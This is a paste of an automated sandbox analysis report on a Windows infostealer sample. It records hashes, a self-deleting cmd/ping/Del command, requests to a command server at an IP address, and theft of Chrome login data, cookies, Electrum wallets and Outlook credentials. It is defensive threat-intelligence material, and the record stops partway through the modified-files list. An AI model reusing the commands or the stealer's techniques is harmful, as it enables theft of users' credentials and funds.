API tools faq
paste
paladin316

Exes_bf2ecdd780f65b7bf90bee6f48fb8fc4_exe_2019-08-05_02_30.txt

paladin316
Aug 5th, 2019
2,302
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.78 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Malicious"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Exes_bf2ecdd780f65b7bf90bee6f48fb8fc4.exe"
  7. * File Size: 632832
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. * SHA256: "67647c962fa663f5ca9d1d60497164ea88e8db839922277452e122cdc7f358e3"
  10. * MD5: "bf2ecdd780f65b7bf90bee6f48fb8fc4"
  11. * SHA1: "2554c8ce5dfc4591a20805324195c07449669263"
  12. * SHA512: "cb4c0bb2840ec9815432f9e193098a00372b69a02355bdc65ed534b0439f8b1c64b60b025d2bed080daf03adf8a55982a562e164792d30434d0ca1811462feed"
  13. * CRC32: "B7709C1C"
  14. * SSDEEP: "12288:pOjXJ2bH0acpqpWP1HEQRArYEM/eaPsAquAT0PcYdrSvfRy:8jsN0swdbRArsRHs0PfdrSvfR"
  15.  
  16. * Process Execution:
  17. "Exes_bf2ecdd780f65b7bf90bee6f48fb8fc4.exe",
  18. "cmd.exe",
  19. "PING.EXE",
  20. "services.exe",
  21. "lsass.exe",
  22. "lsass.exe",
  23. "lsass.exe",
  24. "taskhost.exe",
  25. "svchost.exe",
  26. "WerFault.exe",
  27. "wermgr.exe",
  28. "sc.exe",
  29. "svchost.exe"
  30.  
  31.  
  32. * Executed Commands:
  33. "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"C:\\Users\\user\\AppData\\Local\\Temp\\Exes_bf2ecdd780f65b7bf90bee6f48fb8fc4.exe\"",
  34. "C:\\Windows\\system32\\lsass.exe",
  35. "taskhost.exe $(Arg0)",
  36. "C:\\Windows\\system32\\sc.exe start w32time task_started",
  37. "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
  38. "C:\\Windows\\system32\\svchost.exe -k LocalService",
  39. "C:\\Windows\\system32\\PING.EXE ping 1.1.1.1 -n 1 -w 3000",
  40. "C:\\Windows\\system32\\WerFault.exe -u -p 2820 -s 288",
  41. "\"C:\\Windows\\system32\\wermgr.exe\" \"-queuereporting_svc\" \"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_ce50b7218bdf27a0a42064335617fbdae026e4e1_cab_04c6bff1\""
  42.  
  43.  
  44. * Signatures Detected:
  45.  
  46. "Description": "At least one process apparently crashed during execution",
  47. "Details":
  48.  
  49.  
  50. "Description": "Attempts to connect to a dead IP:Port (3 unique times)",
  51. "Details":
  52.  
  53. "IP": "35.246.189.253:80"
  54.  
  55.  
  56. "IP": "172.217.4.129:443"
  57.  
  58.  
  59. "IP": "172.217.4.142:443"
  60.  
  61.  
  62.  
  63.  
  64. "Description": "Creates RWX memory",
  65. "Details":
  66.  
  67.  
  68. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  69. "Details":
  70.  
  71. "ioc": "http://crl.globalsign.net/root-r2.crl0"
  72.  
  73.  
  74.  
  75.  
  76. "Description": "Network anomalies occured during the analysis.",
  77. "Details":
  78.  
  79. "Anomaly": "'1.1.1.1' getaddrinfo with no actual connection to the IP."
  80.  
  81.  
  82.  
  83.  
  84. "Description": "A process created a hidden window",
  85. "Details":
  86.  
  87. "Process": "Exes_bf2ecdd780f65b7bf90bee6f48fb8fc4.exe -> cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"C:\\Users\\user\\AppData\\Local\\Temp\\Exes_bf2ecdd780f65b7bf90bee6f48fb8fc4.exe\""
  88.  
  89.  
  90.  
  91.  
  92. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  93. "Details":
  94.  
  95. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  96.  
  97.  
  98. "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"
  99.  
  100.  
  101. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  102.  
  103.  
  104. "suspicious_request": "http://35.246.189.253/gate/log.php"
  105.  
  106.  
  107. "suspicious_request": "http://35.246.189.253/gate/sqlite3.dll"
  108.  
  109.  
  110. "suspicious_request": "http://35.246.189.253/gate/libs.zip"
  111.  
  112.  
  113. "suspicious_request": "http://35.246.189.253/file_handler2/file.php?hash=14540950dfcf647455852b2327e800e048b497fb&js=20da77f7a4fa2d02fdac650c1c6491b83d7722b1&callback=http://35.246.189.253/gate"
  114.  
  115.  
  116.  
  117.  
  118. "Description": "Performs some HTTP requests",
  119. "Details":
  120.  
  121. "url": "http://35.246.189.253/gate/log.php"
  122.  
  123.  
  124. "url": "http://35.246.189.253/gate/sqlite3.dll"
  125.  
  126.  
  127. "url": "http://35.246.189.253/gate/libs.zip"
  128.  
  129.  
  130. "url": "http://35.246.189.253/file_handler2/file.php?hash=14540950dfcf647455852b2327e800e048b497fb&js=20da77f7a4fa2d02fdac650c1c6491b83d7722b1&callback=http://35.246.189.253/gate"
  131.  
  132.  
  133.  
  134.  
  135. "Description": "Deletes its original binary from disk",
  136. "Details":
  137.  
  138.  
  139. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  140. "Details":
  141.  
  142. "Spam": "Exes_bf2ecdd780f65b7bf90bee6f48fb8fc4.exe (1944) called API RegDeleteKeyA 99103 times"
  143.  
  144.  
  145. "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 10209392 times"
  146.  
  147.  
  148.  
  149.  
  150. "Description": "Steals private information from local Internet browsers",
  151. "Details":
  152.  
  153. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
  154.  
  155.  
  156. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
  157.  
  158.  
  159. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  160.  
  161.  
  162.  
  163.  
  164. "Description": "Collects information about installed applications",
  165. "Details":
  166.  
  167. "Program": "Microsoft Access Setup Metadata MUI 2013"
  168.  
  169.  
  170. "Program": "Microsoft Groove MUI 2013"
  171.  
  172.  
  173. "Program": "Microsoft Word MUI 2013"
  174.  
  175.  
  176. "Program": "Adobe Refresh Manager"
  177.  
  178.  
  179. "Program": "Microsoft Excel MUI 2013"
  180.  
  181.  
  182. "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xef\\xbf\\xb1ol"
  183.  
  184.  
  185. "Program": "Microsoft Outlook MUI 2013"
  186.  
  187.  
  188. "Program": "Microsoft Publisher MUI 2013"
  189.  
  190.  
  191.  
  192.  
  193. "Program": "Microsoft Office Proofing 2013"
  194.  
  195.  
  196. "Program": "Adobe Flash Player 29 ActiveX"
  197.  
  198.  
  199.  
  200.  
  201. "Program": "Microsoft Lync MUI 2013"
  202.  
  203.  
  204. "Program": "Microsoft InfoPath MUI 2013"
  205.  
  206.  
  207.  
  208.  
  209. "Program": "Microsoft DCF MUI 2013"
  210.  
  211.  
  212.  
  213.  
  214. "Description": "File has been identified by 20 Antiviruses on VirusTotal as malicious",
  215. "Details":
  216.  
  217. "FireEye": "Generic.mg.bf2ecdd780f65b7b"
  218.  
  219.  
  220. "Malwarebytes": "Trojan.MalPack.GS"
  221.  
  222.  
  223. "Invincea": "heuristic"
  224.  
  225.  
  226. "Symantec": "Packed.Generic.516"
  227.  
  228.  
  229. "APEX": "Malicious"
  230.  
  231.  
  232. "Paloalto": "generic.ml"
  233.  
  234.  
  235. "McAfee-GW-Edition": "BehavesLike.Win32.Generic.jh"
  236.  
  237.  
  238. "Microsoft": "Trojan:Win32/Wacatac.B!ml"
  239.  
  240.  
  241. "Endgame": "malicious (high confidence)"
  242.  
  243.  
  244. "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
  245.  
  246.  
  247. "Acronis": "suspicious"
  248.  
  249.  
  250. "VBA32": "BScope.Trojan.Downloader"
  251.  
  252.  
  253. "Cylance": "Unsafe"
  254.  
  255.  
  256. "ESET-NOD32": "a variant of Win32/Kryptik.GVFD"
  257.  
  258.  
  259. "Rising": "[email protected] (RDML:lT6n8MKlgo1Rv5jruDhomA)"
  260.  
  261.  
  262. "SentinelOne": "DFI - Suspicious PE"
  263.  
  264.  
  265. "eGambit": "Unsafe.AI_Score_88%"
  266.  
  267.  
  268. "AVG": "FileRepMalware"
  269.  
  270.  
  271. "Cybereason": "malicious.e5dfc4"
  272.  
  273.  
  274. "CrowdStrike": "win/malicious_confidence_100% (D)"
  275.  
  276.  
  277.  
  278.  
  279. "Description": "Checks the system manufacturer, likely for anti-virtualization",
  280. "Details":
  281.  
  282.  
  283. "Description": "Attempts to access Bitcoin/ALTCoin wallets",
  284. "Details":
  285.  
  286. "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets"
  287.  
  288.  
  289.  
  290.  
  291. "Description": "Harvests information related to installed mail clients",
  292. "Details":
  293.  
  294. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
  295.  
  296.  
  297. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings"
  298.  
  299.  
  300. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\19.0\\Outlook\\Profiles\\Outlook"
  301.  
  302.  
  303. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password"
  304.  
  305.  
  306. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
  307.  
  308.  
  309. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
  310.  
  311.  
  312. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP User Name"
  313.  
  314.  
  315. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password2"
  316.  
  317.  
  318. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail Server"
  319.  
  320.  
  321. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Password"
  322.  
  323.  
  324. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Port"
  325.  
  326.  
  327. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail Password2"
  328.  
  329.  
  330. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Server URL"
  331.  
  332.  
  333. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP User"
  334.  
  335.  
  336. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
  337.  
  338.  
  339. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Server"
  340.  
  341.  
  342. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail Password2"
  343.  
  344.  
  345. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Password"
  346.  
  347.  
  348. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
  349.  
  350.  
  351. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Server"
  352.  
  353.  
  354. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Email Address"
  355.  
  356.  
  357. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
  358.  
  359.  
  360. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Server"
  361.  
  362.  
  363. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Port"
  364.  
  365.  
  366. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Password2"
  367.  
  368.  
  369. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Port"
  370.  
  371.  
  372. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP User"
  373.  
  374.  
  375. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password2"
  376.  
  377.  
  378. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Password"
  379.  
  380.  
  381. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password"
  382.  
  383.  
  384. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Port"
  385.  
  386.  
  387. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
  388.  
  389.  
  390. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
  391.  
  392.  
  393. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password"
  394.  
  395.  
  396. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail User Name"
  397.  
  398.  
  399. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
  400.  
  401.  
  402. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
  403.  
  404.  
  405. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\18.0\\Outlook\\Profiles\\Outlook"
  406.  
  407.  
  408. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Server"
  409.  
  410.  
  411. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Email Address"
  412.  
  413.  
  414. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\13.0\\Outlook\\Profiles\\Outlook"
  415.  
  416.  
  417. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\Outlook\\Profiles\\Outlook"
  418.  
  419.  
  420. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
  421.  
  422.  
  423. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP User Name"
  424.  
  425.  
  426. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP User Name"
  427.  
  428.  
  429. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Password"
  430.  
  431.  
  432. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  433.  
  434.  
  435. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP User Name"
  436.  
  437.  
  438. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP User"
  439.  
  440.  
  441. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 User"
  442.  
  443.  
  444. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
  445.  
  446.  
  447. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP User"
  448.  
  449.  
  450. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
  451.  
  452.  
  453. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
  454.  
  455.  
  456. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 User Name"
  457.  
  458.  
  459. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\17.0\\Outlook\\Profiles\\Outlook"
  460.  
  461.  
  462. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password"
  463.  
  464.  
  465. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Port"
  466.  
  467.  
  468. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP User"
  469.  
  470.  
  471. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail Server"
  472.  
  473.  
  474. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Server"
  475.  
  476.  
  477. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password2"
  478.  
  479.  
  480. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password2"
  481.  
  482.  
  483. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
  484.  
  485.  
  486. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 User"
  487.  
  488.  
  489. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password2"
  490.  
  491.  
  492. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Server"
  493.  
  494.  
  495. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Server"
  496.  
  497.  
  498. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Email Address"
  499.  
  500.  
  501. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Password2"
  502.  
  503.  
  504. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
  505.  
  506.  
  507. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password2"
  508.  
  509.  
  510. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Email Address"
  511.  
  512.  
  513. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP User Name"
  514.  
  515.  
  516. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 User Name"
  517.  
  518.  
  519. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Server URL"
  520.  
  521.  
  522. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password"
  523.  
  524.  
  525. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail User Name"
  526.  
  527.  
  528. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Server"
  529.  
  530.  
  531. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Port"
  532.  
  533.  
  534. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
  535.  
  536.  
  537. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP User Name"
  538.  
  539.  
  540. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
  541.  
  542.  
  543. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
  544.  
  545.  
  546. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password"
  547.  
  548.  
  549. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
  550.  
  551.  
  552. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP User"
  553.  
  554.  
  555. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts"
  556.  
  557.  
  558. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Account Manager\\Accounts"
  559.  
  560.  
  561. "key": "HKEY_CURRENT_USER\\Identities\\0A258175-2D14-4D69-9955-E200F247250F\\Software\\Microsoft\\Internet Account Manager\\Accounts"
  562.  
  563.  
  564.  
  565.  
  566. "Description": "Generates some ICMP traffic",
  567. "Details":
  568.  
  569.  
  570. "Description": "Collects information to fingerprint the system",
  571. "Details":
  572.  
  573.  
  574.  
  575. * Started Service:
  576. "VaultSvc",
  577. "WerSvc",
  578. "W32Time"
  579.  
  580.  
  581. * Mutexes:
  582. "rc/user",
  583. "Local\\WERReportingForProcess2820",
  584. "Global\\\\xe5\\x88\\x90\\xc2\\x87",
  585. "Global\\\\xe1\\x9f\\xa00",
  586. "WERUI_BEX64-ce50b7218bdf27a0a42064335617fbdae026e4e1"
  587.  
  588.  
  589. * Modified Files:
  590. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S4VH3RFR\\sqlite31.dll",
  591. "C:\\Users\\user\\AppData\\Local\\Temp\\P1kAlMiG2K",
  592. "C:\\Users\\user\\AppData\\Local\\Temp\\b7FzP5tM1Q",
  593. "C:\\Users\\user\\AppData\\Local\\Temp\\BI6DSS92c3",
  594. "C:\\Users\\user\\AppData\\Local\\Temp\\1Apgjk9lVK",
  595. "C:\\Users\\user\\AppData\\Local\\Temp\\chrome_cookie.txt",
  596. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PA320MG8\\libs1.zip",
  597. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nssdbm3.dll",
  598. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\prldap60.dll",
  599. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\qipcap.dll",
  600. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\softokn3.dll",
  601. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ucrtbase.dll",
  602. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\vcruntime140.dll",
  603. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\AccessibleHandler.dll",
  604. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\AccessibleMarshal.dll",
  605. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\breakpadinjector.dll",
  606. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\freebl3.dll",
  607. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\IA2Marshal.dll",
  608. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ldap60.dll",
  609. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ldif60.dll",
  610. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\lgpllibs.dll",
  611. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\libEGL.dll",
  612. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\MapiProxy.dll",
  613. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\MapiProxy_InUse.dll",
  614. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozglue.dll",
